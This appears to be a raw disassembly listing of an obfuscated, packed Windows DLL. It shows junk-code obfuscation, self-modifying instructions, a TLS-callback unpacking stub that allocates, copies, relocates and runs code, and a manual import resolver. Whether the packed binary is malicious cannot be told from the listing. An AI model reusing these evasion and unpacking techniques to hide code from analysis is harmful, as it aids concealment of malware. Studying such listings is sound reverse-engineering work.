; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_100291C6: ; CODE XREF: _3a14gzkz:loc_1002771Bj retn ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_100291C9: ; CODE XREF: _3a14gzkz:100279CAj jnz loc_1002723C loc_100291CF: ; CODE XREF: _3a14gzkz:100280F1j jmp locret_100277BC ; --------------------------------------------------------------------------- dd 0F2810000h, 0A42F901Dh, 10FE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027C41 loc_100291E1: ; CODE XREF: sub_10027C41+Fj rol edi, 14h add edi, 0D0F4F479h loc_100291EA: ; DATA XREF: _3a14gzkz:100276A5o outsd cmp al, 24h jmp loc_10027502 ; END OF FUNCTION CHUNK FOR sub_10027C41 ; --------------------------------------------------------------------------- dw 6800h dd offset loc_10026F91 dd 0FFEAC6E9h, 5D6800FFh, 0E924AED6h, 0FFFFE58Ch ; --------------------------------------------------------------------------- loc_10029208: ; CODE XREF: _3a14gzkz:10028324j jnz loc_100277D4 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_1002920F: ; CODE XREF: sub_1002707B+2307j jmp nullsub_236 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- dd 0C1F70000h, 506E0F41h, 546E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_10029222: ; DATA XREF: sub_10029627-89Do xor eax, eax loc_10029224: ; DATA XREF: _3a14gzkz:loc_10027EA8o cld ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10029225: ; CODE XREF: _3a14gzkz:1002754Bj ; sub_1002812C+7j js loc_10028A5A jb loc_100287D4 push eax jmp loc_1002877C ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- align 4 dd 598C0F00h, 0E9FFFFDCh, 0FFFFF6DAh, 0D58DFD81h, 0CAE9C20Bh dd 0FFFFDAh db 0 ; --------------------------------------------------------------------------- loc_10029251: ; CODE XREF: _3a14gzkz:10027A57j push 0B3044C98h pop eax and eax, 5368BDC3h or eax, 0FB29CA17h add eax, 14D7C4CCh or eax, eax jmp loc_100278D3 ; --------------------------------------------------------------------------- db 2 dup(0) word_10029272 dw 8Bh ; DATA XREF: sub_10027CEA+38o dd 2C008A9Dh, 0FC558B99h, 0FFEC5FE8h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_10029282: ; CODE XREF: _3a14gzkz:10028F0Bj push ebp xchg ebx, [esp] pop ebx xor ebx, 0CE55626Eh add ebx, ebp push offset byte_10029409 jmp locret_100293FC ; =============== S U B R O U T I N E ======================================= sub_10029299 proc near ; CODE XREF: _3a14gzkz:loc_10029055p arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx xchg edx, [esp-4+arg_0] pop edx jmp near ptr dword_10027BCC+4 sub_10029299 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 loc_100292A8: ; CODE XREF: _3a14gzkz:1002783Ej ; _3a14gzkz:loc_10029084j lea eax, nullsub_246 mov byte ptr [eax], 0C3h jmp loc_100285EE ; --------------------------------------------------------------------------- align 4 xor esi, 446B0404h test edi, esi loc_100292C0: ; CODE XREF: _3a14gzkz:loc_10026DC1j pop esi jmp loc_1002713A ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100273CB loc_100292C7: ; CODE XREF: sub_100273CB+8j xchg esi, [esp-8+arg_4] mov ebx, esi pop esi push offset loc_1002944D jmp nullsub_186 ; END OF FUNCTION CHUNK FOR sub_100273CB ; --------------------------------------------------------------------------- db 89h ; --------------------------------------------------------------------------- sub ch, cl movsb idiv edi inc dword ptr [eax] loc_100292DF: ; CODE XREF: _3a14gzkz:loc_10029039j popf db 3Eh sar ah, 0E9h mov ebp, 57FFFFF2h jmp loc_10028523 ; --------------------------------------------------------------------------- align 10h test ebp, eax jmp loc_10027231 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_100292F8: ; CODE XREF: sub_10028DD4-96Aj jnz loc_100288F7 add [ebx], ah setalc pop edx mov eax, ecx and edx, 0F0703A6Dh jb loc_10027C15 jmp loc_100288F7 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- align 2 push 10028441h jmp loc_100275FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_10029320: ; CODE XREF: sub_10028ED3:loc_100293B7j jnz loc_10027850 jmp loc_10029187 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- locret_1002932D: ; CODE XREF: _3a14gzkz:loc_10028660j retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_1002932F: ; CODE XREF: sub_10028DD4-11BDj jmp loc_10026CAB ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- dd 875A0000h, 5AE82404h, 0FFFFFDh db 0 byte_10029341 db 0C6h, 2, 0C3h ; DATA XREF: sub_100284AA:loc_10028F30o dd 8B241C87h, 0E9595BD3h, 0FFFFE093h, 0CFC10000h, 0F70CE90Dh db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002883B loc_1002935B: ; CODE XREF: sub_1002883B+774j add edi, eax call sub_10028A66 ; END OF FUNCTION CHUNK FOR sub_1002883B ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028CB7 loc_10029364: ; CODE XREF: sub_10028CB7+508j jmp locret_10027247 ; END OF FUNCTION CHUNK FOR sub_10028CB7 ; --------------------------------------------------------------------------- db 2 dup(0), 68h dd offset byte_10029529 dd 0FFDF7FE9h, 0C300FFh ; --------------------------------------------------------------------------- loc_10029378: ; CODE XREF: _3a14gzkz:100284CCj jmp loc_10028ADD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_1002937D: ; CODE XREF: sub_1002707B:loc_1002915Aj push offset dword_10028B44 jmp loc_1002920F ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_10029389: ; DATA XREF: sub_10028AC5-775o mov byte ptr ds:dword_100273EC+1, 68h mov byte ptr ds:dword_100273EC+6, 0E9h mov byte ptr ds:dword_100275C0+0Eh, 0C3h mov byte ptr ds:dword_10026CBC+1Eh, 0Fh mov ds:byte_10028707, 0Fh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND] align 2 loc_100293AE: ; CODE XREF: _3a14gzkz:100273DDj jmp locret_1002858C ; --------------------------------------------------------------------------- align 4 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_229. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_100293B7: ; CODE XREF: sub_10028ED3+Cj jmp loc_10029320 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_100293BE: ; CODE XREF: sub_10028DD4+3j jmp loc_10028C85 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- align 4 dd 0E18DE900h db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_246. PRESS KEYPAD "+" TO EXPAND] db 82h dd 0FFFFFF18h, 0FFF9C3E8h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_1002707B loc_100293D6: ; CODE XREF: sub_1002707B+1A1j jmp nullsub_235 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 4 dd 0E57AE900h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_100293E3: ; CODE XREF: _3a14gzkz:loc_1002822Cj and eax, 53C9BF74h add eax, 0FC415F43h or eax, eax loc_100293F1: ; CODE XREF: _3a14gzkz:loc_100278D3j jz loc_10027DF8 jmp near ptr loc_10027699+1 ; --------------------------------------------------------------------------- locret_100293FC: ; CODE XREF: _3a14gzkz:10029294j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028EFA loc_100293FD: ; CODE XREF: sub_10028EFA+6j jmp loc_100285E1 ; END OF FUNCTION CHUNK FOR sub_10028EFA ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027795 loc_10029403: ; CODE XREF: sub_10027795+211j jmp near ptr byte_10026FD5+2 ; END OF FUNCTION CHUNK FOR sub_10027795 ; --------------------------------------------------------------------------- db 0 byte_10029409 db 81h, 0C3h, 85h ; DATA XREF: _3a14gzkz:1002928Fo dd 8BC85562h, 70CF681Bh, 0ABE91002h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_1002941B: ; CODE XREF: _3a14gzkz:10028DE9j add esi, edi push 5EAF896Bh test esi, ecx jmp loc_10028E4A ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_1002942B: ; CODE XREF: _3a14gzkz:10028956j sub eax, 2A53511Dh xor eax, 3DBA0F5Bh jnz loc_10028F42 ; --------------------------------------------------------------------------- db 2 dup(0), 9Dh ; --------------------------------------------------------------------------- add eax, 526D9206h jmp loc_10028F3A ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_1002944D: ; DATA XREF: sub_100273CB+1F02o push 28DEC507h pop eax xor eax, 0AE97F6BAh and eax, 0EC1FBAD8h add eax, 8BF948C8h mov eax, [eax] loc_10029467: ; DATA XREF: sub_10027810:loc_100279DEo sub eax, edx jmp loc_10029084 ; --------------------------------------------------------------------------- dw 0F00h dd 0FFE9E58Eh db 0FFh ; =============== S U B R O U T I N E ======================================= sub_10029475 proc near ; CODE XREF: _3a14gzkz:loc_10028D24p ; FUNCTION CHUNK AT 100296D3 SIZE 00000002 BYTES xchg edx, [esp+0] xchg ebp, [esp+0] mov edx, ebp pop ebp mov byte ptr [ebx], 0C3h pop ebx jmp loc_100296D3 sub_10029475 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10029487: ; CODE XREF: _3a14gzkz:loc_100275A5j mov byte ptr [ecx], 87h pop ecx push edx push 0CC488F71h pop edx jmp loc_1002895B ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= sub_10029499 proc far ; CODE XREF: _3a14gzkz:loc_100277A5p xchg edx, [esp+0] xchg ebp, [esp+0] mov edx, ebp pop ebp jmp near ptr loc_10029100+1 sub_10029499 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 0E8B5E959h, 0FFFFh ; --------------------------------------------------------------------------- loc_100294B0: ; CODE XREF: _3a14gzkz:10028967j jge loc_100277A5 sub ebp, esi and edi, 0C4BA2195h jmp loc_100277A5 ; --------------------------------------------------------------------------- align 4 dd 0C300h, 0DDAE840Fh, 0DE0BFFFFh, 0FFE348E9h db 0FFh ; --------------------------------------------------------------------------- loc_100294D5: ; CODE XREF: _3a14gzkz:10029562j jnb loc_10028C7A push dword ptr [ebp+10h] push esi push 0D110A348h push offset sub_10028B63 jmp locret_10028B60 ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_242. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_100294F1: ; DATA XREF: sub_10029734+6o sub eax, edx mov eax, [edi+ebp*4+52FFFFFDh] mov edx, offset loc_10028E5F jmp loc_10027F28 ; --------------------------------------------------------------------------- dword_10029504 dd 68241487h, 1002809Dh, 0FFEB80E9h, 148700FFh, 0E8565A24h ; DATA XREF: _3a14gzkz:10026F15o dd 0FFFFD896h, 2414879Dh, 0E9108BC3h, 0FFFFD8E0h db 0 byte_10029529 db 81h, 0C3h, 16h ; DATA XREF: _3a14gzkz:1002936Co dd 3752078h, 0E114E8DDh, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029627 loc_10029538: ; CODE XREF: sub_10029627+19j jmp loc_10028D77 ; END OF FUNCTION CHUNK FOR sub_10029627 ; --------------------------------------------------------------------------- db 0D1h, 0C2h, 0F7h dd 0D5F8E5C7h, 0F4EBE969h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_1002954B: ; CODE XREF: _3a14gzkz:10027A99j jo loc_100274A7 jg loc_10027D0E push 0F6CF1FA8h test edx, 3AD72F4Fh jmp loc_100294D5 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10029569: ; CODE XREF: sub_1002812C:loc_10028934j call sub_100283CF ; END OF FUNCTION CHUNK FOR sub_1002812C ; START OF FUNCTION CHUNK FOR sub_1002707B loc_1002956E: ; CODE XREF: sub_1002707B+113j jmp loc_100289BB ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- loc_10029573: ; CODE XREF: _3a14gzkz:1002824Cj call near ptr sub_10028143 sub eax, ecx ; =============== S U B R O U T I N E ======================================= sub_1002957A proc near ; CODE XREF: _3a14gzkz:100289AFp ; FUNCTION CHUNK AT 10028121 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100281CC SIZE 00000023 BYTES ; FUNCTION CHUNK AT 100283FC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1002897B SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push ebx jmp loc_10028121 sub_1002957A endp ; --------------------------------------------------------------------------- db 0 byte_10029585 db 68h, 8Ch, 25h ; DATA XREF: sub_10028ED3-187o dd 8158AEE1h, 0A80FA3C0h, 65C881C8h, 81D76CB2h, 14BDAFC0h dd 60E95518h, 0FFFFEBh db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_231. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_100295A6 proc near ; DATA XREF: sub_1002707B:loc_10027DF8o ; FUNCTION CHUNK AT 10026F50 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 100278F8 SIZE 00000005 BYTES mov dword ptr [ebp-4], 1 push 0F7C64828h pop eax or eax, 8BA63B77h sub eax, 8BC2BCABh jnb loc_10026F50 sub_100295A6 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10028AC5 loc_100295C5: ; CODE XREF: sub_10028AC5+13j jmp nullsub_190 ; END OF FUNCTION CHUNK FOR sub_10028AC5 ; --------------------------------------------------------------------------- dw 8700h dd 79E90045h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100275B2 loc_100295D3: ; CODE XREF: sub_100275B2:loc_10028057j mov byte ptr [ecx], 0FFh xchg ebp, [esp-4+arg_0] mov ecx, ebp pop ebp pop ebx rol ebx, 1Ch push ecx jmp loc_1002903F ; END OF FUNCTION CHUNK FOR sub_100275B2 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_228. PRESS KEYPAD "+" TO EXPAND] dd 3C870000h, 0E8685F24h, 5A30707Ch, 0E9D18B52h, 0FFFFE78Bh db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_230. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_179. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- loc_10029603: ; CODE XREF: _3a14gzkz:10028C1Aj jmp near ptr dword_100280D8+2 ; --------------------------------------------------------------------------- dd 0CE7C100h, 0FFFA01E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_10029613: ; DATA XREF: sub_10027CEA+B1o add edx, 0A90EB23Eh push offset word_10029836 jmp loc_10028DCE ; --------------------------------------------------------------------------- align 4 db 0, 0C3h, 0 ; =============== S U B R O U T I N E ======================================= sub_10029627 proc near ; CODE XREF: _3a14gzkz:loc_100275FDp ; _3a14gzkz:10027EC0j ; FUNCTION CHUNK AT 10028D77 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10029538 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push 0D8285ADAh pop esi or esi, 314C4F8Ch rol esi, 0Bh sub esi, 0AAF1882Fh jmp loc_10029538 sub_10029627 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 33h ; --------------------------------------------------------------------------- fsubp st(1), st sbb eax, 0 ; =============== S U B R O U T I N E ======================================= sub_1002964F proc near ; CODE XREF: _3a14gzkz:loc_10028ADDp xchg ebx, [esp+0] pop ebx push offset loc_10027C05 jmp nullsub_244 sub_1002964F endp ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_186. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor edx, 0E1E37A2Eh jmp sub_100284AA ; --------------------------------------------------------------------------- db 0F7h ; --------------------------------------------------------------------------- lds edi, ds:0E911C6B2h pop eax idiv bh inc dword ptr [eax] xchg ecx, [esp] jmp loc_1002907F ; --------------------------------------------------------------------------- db 68h dd offset word_10028E1E+1 dd 0FFF320E9h, 23DE0BFFh, 0E658E9D6h db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_250. PRESS KEYPAD "+" TO EXPAND] align 4 dd 0E9D93300h, 68h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100279AD loc_1002969E: ; CODE XREF: sub_100279AD-99Ej adc edx, 97646557h loc_100296A4: ; CODE XREF: sub_100279AD+12C0j add esi, 0C4E61C1Eh or esi, 0B1DE4351h xor esi, 3D24AA8Fh add esi, 8527516Eh xchg esi, [esp+0] jmp near ptr dword_10026C9C+0Ah ; END OF FUNCTION CHUNK FOR sub_100279AD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_249. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0Fh dd 0FFF7408Ch, 0D743E9FFh db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029475 loc_100296D3: ; CODE XREF: sub_10029475+Dj pop ecx retn ; END OF FUNCTION CHUNK FOR sub_10029475 ; --------------------------------------------------------------------------- align 2 loc_100296D6: ; CODE XREF: _3a14gzkz:10028031j jmp near ptr loc_10027CA5+1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_100296DB: ; CODE XREF: sub_1002707B:loc_100270C8j ; sub_1002735F:loc_1002907Fj push 0FCEC674Fh pop eax rol eax, 0Fh jnb loc_10027DCD loc_100296EA: ; CODE XREF: sub_100274A4+1001j add cl, ch push ds hlt ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- dw 0FFFFh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_100296F1: ; CODE XREF: sub_1002707B+239j jmp loc_10027B00 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- dw 0EE81h dd 11BA666Ah, 0E90ECBC1h, 0FFFFDB4Fh, 241C879Dh, 0ED058D5Bh dd 57100273h, 0FFE1DCE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028AC5 loc_10029717: ; CODE XREF: sub_10028AC5:loc_10026FD0j mov eax, offset nullsub_13 jmp loc_10027A8C ; END OF FUNCTION CHUNK FOR sub_10028AC5 ; --------------------------------------------------------------------------- and eax, 6F24B116h jmp sub_1002918F ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_1002972E: ; CODE XREF: _3a14gzkz:10028868j jp near ptr loc_10027714+1 ; =============== S U B R O U T I N E ======================================= sub_10029734 proc near ; CODE XREF: sub_100274A4+1F0p xchg ebx, [esp+0] pop ebx mov eax, [eax] push offset loc_100294F1 jmp nullsub_192 sub_10029734 endp ; --------------------------------------------------------------------------- dd 0FFEAEAE8h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_1002974A: ; CODE XREF: _3a14gzkz:10026E08j push edx push offset loc_10027740 jmp loc_10027B65 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10029756: ; CODE XREF: sub_1002812C:loc_1002868Ej mov byte ptr [eax], 49h pop eax lodsb push offset loc_10027543 jmp loc_100277DF ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0FFE8018Ch, 0F328BFFh, 0FFFBB886h, 0DBBEE9FFh, 0F881FFFFh dd 3595D501h, 0FFF79BE9h db 0FFh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_194. PRESS KEYPAD "+" TO EXPAND] dw 300h db 0C7h ; =============== S U B R O U T I N E ======================================= sub_10029789 proc near ; CODE XREF: sub_1002707B:loc_10026CEDp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1002706F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028B82 SIZE 0000000E BYTES xchg eax, [esp+0] xchg ebp, [esp+0] mov eax, ebp jmp loc_1002706F sub_10029789 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10029797: ; CODE XREF: sub_1002707B+F21j jnz loc_100279DE add ecx, 82795C7Dh cmp esi, edi jmp loc_100290EF ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_191. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_100297AC: ; CODE XREF: sub_1002707B+194Ej jmp loc_10026DED ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_100297B3 proc near ; DATA XREF: sub_100286C7:loc_10027F63o push ebx push ebp pop ebx push edi mov edi, offset loc_100284FF jmp loc_100271D4 sub_100297B3 endp ; --------------------------------------------------------------------------- align 2 dw 8B0Fh dd 0FFFFE3D0h, 0F2F28D0Fh, 0C381FFFFh, 0EEFC29D9h, 0B97E381h dd 0B4E9DBE8h, 0FFFFD9h, 9ADD8100h, 0E9A6DA5Bh, 0FFFFE2DBh db 0 ; --------------------------------------------------------------------------- loc_100297ED: ; DATA XREF: sub_1002707B:loc_10027217o mov byte ptr [edx], 8Bh pop edx xchg ebx, [esp] loc_100297F4: ; DATA XREF: sub_1002707B+131o mov al, ds:5EE951ECh fdivp st(7), st inc dword ptr [eax] retn ; --------------------------------------------------------------------------- align 10h dword_10029800 dd 49F68568h, 0E8815844h, 0D82A6BA5h, 0FFE122E8h ; DATA XREF: _3a14gzkz:loc_100280ECo db 0FFh ; --------------------------------------------------------------------------- loc_10029811: ; CODE XREF: _3a14gzkz:10028791j jmp locret_10029116 ; --------------------------------------------------------------------------- align 4 adc edi, ebx loc_1002981A: ; CODE XREF: sub_1002707B+210p xchg ebx, [esp] pop ebx xchg edi, [esp] push cs adc eax, offset dword_1001E0C0 push edi call loc_10028477 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_1002982E: ; CODE XREF: sub_1002707B+79j ; sub_10028ED3-1689j jmp loc_1002804B ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 4 locret_10029834: ; CODE XREF: _3a14gzkz:loc_10028DCEj retn ; --------------------------------------------------------------------------- align 2 word_10029836 dw 0BE56h ; DATA XREF: _3a14gzkz:10029619o dd offset dword_100279F4+6 dd 0FFF35FE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10027810 loc_10029843: ; CODE XREF: sub_10027810:loc_10028AE4j call sub_100273CB locret_10029848: ; CODE XREF: sub_10029627-898j retn ; END OF FUNCTION CHUNK FOR sub_10027810 ; --------------------------------------------------------------------------- db 8Bh, 0D3h, 0E9h dd 0FFFFF37Ah db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10029851 proc near ; CODE XREF: sub_10028AC5-77Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 100299A6 SIZE 0000000B BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h push esi push edi push ebx mov esi, offset dword_10012000 mov eax, 10000000h mov [ebp+var_4], eax mov edx, eax loc_10029869: ; CODE XREF: sub_10029851+15Bj mov eax, [esi+0Ch] or eax, eax jz loc_10029900 add eax, edx mov ebx, eax push eax call ds:dword_1001E0B4 ; GetModuleHandleA or eax, eax jnz loc_10029896 push ebx call ds:dword_1001E0B8 ; LoadLibraryA or eax, eax jz loc_100298F8 loc_10029896: ; CODE XREF: sub_10029851+30j mov [ebp+var_8], eax push 0 pop [ebp+var_C] loc_1002989E: ; CODE XREF: sub_10029851+A2j mov eax, [esi] or eax, eax mov edx, [ebp+var_4] jnz loc_100298AE mov eax, [esi+10h] loc_100298AE: ; CODE XREF: sub_10029851+54j add eax, edx add eax, [ebp+var_C] mov ebx, [eax] mov edi, [esi+10h] add edi, edx add edi, [ebp+var_C] or ebx, ebx jz loc_100299A6 test ebx, 80000000h jnz loc_100298D5 lea ebx, [ebx+edx+2] loc_100298D5: ; CODE XREF: sub_10029851+7Aj and ebx, 7FFFFFFFh push ebx push [ebp+var_8] call ds:dword_1001E0BC ; GetProcAddress or eax, eax jz loc_100298F8 mov [edi], eax add [ebp+var_C], 4 jmp loc_1002989E ; --------------------------------------------------------------------------- loc_100298F8: ; CODE XREF: sub_10029851+3Fj ; sub_10029851+96j push ebx mov eax, ebx call sub_10029908 loc_10029900: ; CODE XREF: sub_10029851+1Dj pop ebx pop edi pop esi mov esp, ebp pop ebp retn sub_10029851 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10029908 proc near ; CODE XREF: sub_10029851+AAp var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h push ebp mov ebp, esp add esp, 0FFFFFEF8h mov [ebp+var_104], eax mov [ebp+var_100], 276E6143h mov [ebp+var_FC], 6F6C2074h mov [ebp+var_F8], 206461h mov [ebp+var_108], 0Bh loc_1002993F: ; CODE XREF: sub_10029908+97j mov eax, [ebp+var_104] cmp byte ptr [eax], 0 jnz loc_1002997E mov eax, [ebp+var_108] mov byte ptr [ebp+eax+var_100], 0 push 2010h push 0 lea eax, [ebp+var_100] push eax push 0 call ds:dword_1001E104 ; MessageBoxA push 0FFFFFFFFh call ds:dword_1001E0C0 ; ExitProcess mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_1002997E: ; CODE XREF: sub_10029908+40j mov eax, [ebp+var_108] mov edx, [ebp+var_104] mov dl, [edx] mov byte ptr [ebp+eax+var_100], dl inc [ebp+var_108] inc [ebp+var_104] jmp loc_1002993F sub_10029908 endp ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029851 loc_100299A6: ; CODE XREF: sub_10029851+6Ej add esi, 14h mov edx, [ebp+var_4] jmp loc_10029869 ; END OF FUNCTION CHUNK FOR sub_10029851 ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_100299B3 proc near ; CODE XREF: startp TlsCallback_0p mov eax, offset sub_10026C78 locret_100299B8: ; DATA XREF: sub_100299B9+8o retn sub_100299B3 endp ; =============== S U B R O U T I N E ======================================= sub_100299B9 proc near ; DATA XREF: _3a14gzkz:off_10027B44o var_14 = dword ptr -14h var_10 = dword ptr -10h push esi push edi push ecx push ebx push eax mov ebx, [esp+14h+var_14] sub ebx, offset locret_100299B8 mov eax, 238Ah push eax push 4 push 1000h push eax push 0 mov eax, offset dword_1001E0C4 mov eax, [eax+ebx] call eax pop ecx mov edx, offset sub_10026C78 add edx, ebx push edx push ebx push eax mov edi, eax mov esi, edx cld rep movsb mov ecx, offset sub_10026AF4 add ecx, ebx call ecx pop eax mov ebx, [esp+10h+var_10] push 8000h push 0 push eax mov eax, 1001E0C8h mov eax, [eax+ebx] call eax pop ecx pop eax pop ebx sub ebx, 5 mov byte ptr [ebx], 0B8h inc ebx mov [ebx], eax add ebx, 4 mov byte ptr [ebx], 0C3h or ecx, ecx jz short loc_10029A6E mov ebx, eax call loc_10029ACF cld lodsd cmp eax, 0FFFFFFFFh jz short loc_10029A6E push ebx mov ebx, ecx loc_10029A39: ; CODE XREF: sub_100299B9+91j ; sub_100299B9+A4j ... add ebx, eax add [ebx], ecx add ebx, 4 lodsb cmp al, 0FEh jnb short loc_10029A4C and eax, 0FFh jmp short loc_10029A39 ; --------------------------------------------------------------------------- loc_10029A4C: ; CODE XREF: sub_100299B9+8Aj add ebx, 0FEh or eax, eax jp short loc_10029A5F lodsw and eax, 0FFFFh jmp short loc_10029A39 ; --------------------------------------------------------------------------- 